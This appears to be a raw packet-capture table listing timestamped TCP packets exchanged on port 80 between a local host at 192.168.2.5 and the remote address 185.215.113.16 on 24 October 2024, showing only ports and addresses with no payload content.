Oct 24, 2024 19:29:30.397974968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398010969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398025036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398026943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398045063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398060083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398076057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398082018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398127079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398139000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398154020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398168087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398184061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398205042 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398219109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398231030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398235083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398252010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398299932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398380041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398394108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398408890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398420095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.398423910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.398443937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.399734974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399766922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399780035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.399782896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399816990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399832964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399847984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399849892 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.399866104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399873018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.399883032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399924040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.399930954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399949074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399964094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.399970055 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.400015116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.400038004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400053024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400068045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400090933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.400207996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400223017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400238991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400264025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.400265932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400283098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.400290012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.400321960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.425664902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.440895081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.440912962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.440927982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.440974951 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.441023111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.441039085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.441063881 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.447710037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.447726965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.447741985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.447789907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.447832108 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476161957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476186037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476193905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476320028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476489067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476528883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476533890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476545095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476636887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476653099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476669073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476677895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476685047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476720095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476721048 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476731062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476746082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476763010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476785898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476829052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476844072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476859093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476876020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476881027 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476905107 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.476980925 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.476996899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477010965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477022886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477027893 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477045059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477055073 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477061033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477077007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477082014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477112055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477128029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477144003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477155924 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477159977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477170944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477197886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477281094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477297068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477310896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477325916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477335930 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477341890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477360010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477370024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477396965 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477442980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477458954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477473021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477499008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477513075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477555990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477569103 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477583885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477600098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477616072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477631092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477638960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477648973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477664948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477664948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477686882 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477719069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477734089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477746964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477762938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477771997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477792978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477817059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477830887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477847099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477861881 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477869034 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477876902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477890015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477895021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477910995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477917910 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.477926970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.477966070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478197098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478219032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478234053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478235006 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478250027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478266954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478281975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478288889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478298903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478311062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478315115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478331089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478336096 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478347063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478362083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478373051 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478378057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478394985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478410006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478416920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478426933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478439093 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478444099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478461027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478463888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478477001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478492022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478501081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.478507042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478523016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.478530884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.482842922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.511693954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511739969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511755943 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511770010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511785030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511802912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511820078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511868000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511884928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511914968 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.511914968 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.511917114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511934996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511949062 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.511950016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511957884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.511967897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511985064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.511990070 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512049913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512064934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512079954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512094021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512095928 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512109995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512125015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512125969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512140036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512144089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512187004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512196064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512211084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512224913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512238979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512240887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512258053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512259960 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512274027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512289047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512305021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512312889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512322903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512341022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512650967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512681961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512725115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512741089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512774944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512826920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512842894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512862921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512876987 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512893915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512908936 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512909889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512924910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512940884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512955904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512959003 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.512972116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.512988091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513171911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513186932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513201952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513216972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513221979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513231993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513247967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513267040 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513287067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513345957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513360977 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513375044 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513391018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513398886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513406992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513422012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513425112 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513437986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513453960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513463020 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513468981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513485909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513503075 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513506889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513521910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513535976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513541937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513565063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513741970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513757944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513772964 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513806105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513816118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513829947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513832092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513848066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513864040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513871908 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513900042 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.513967991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513983965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.513998032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514013052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514034986 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514038086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514055014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514059067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514070034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514086008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514095068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514102936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514120102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514130116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514158964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514249086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514281988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514297009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514309883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514324903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514337063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514339924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514345884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514425993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514441013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514456987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514470100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514472008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514488935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514492035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514506102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514523029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514529943 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514544964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514584064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514605999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514621973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514636993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514642954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514653921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514657974 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514668941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514671087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514688969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514698029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514744043 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514744997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.514760971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.514792919 CEST	80	49725	185.215.113.16	192.168.2.5
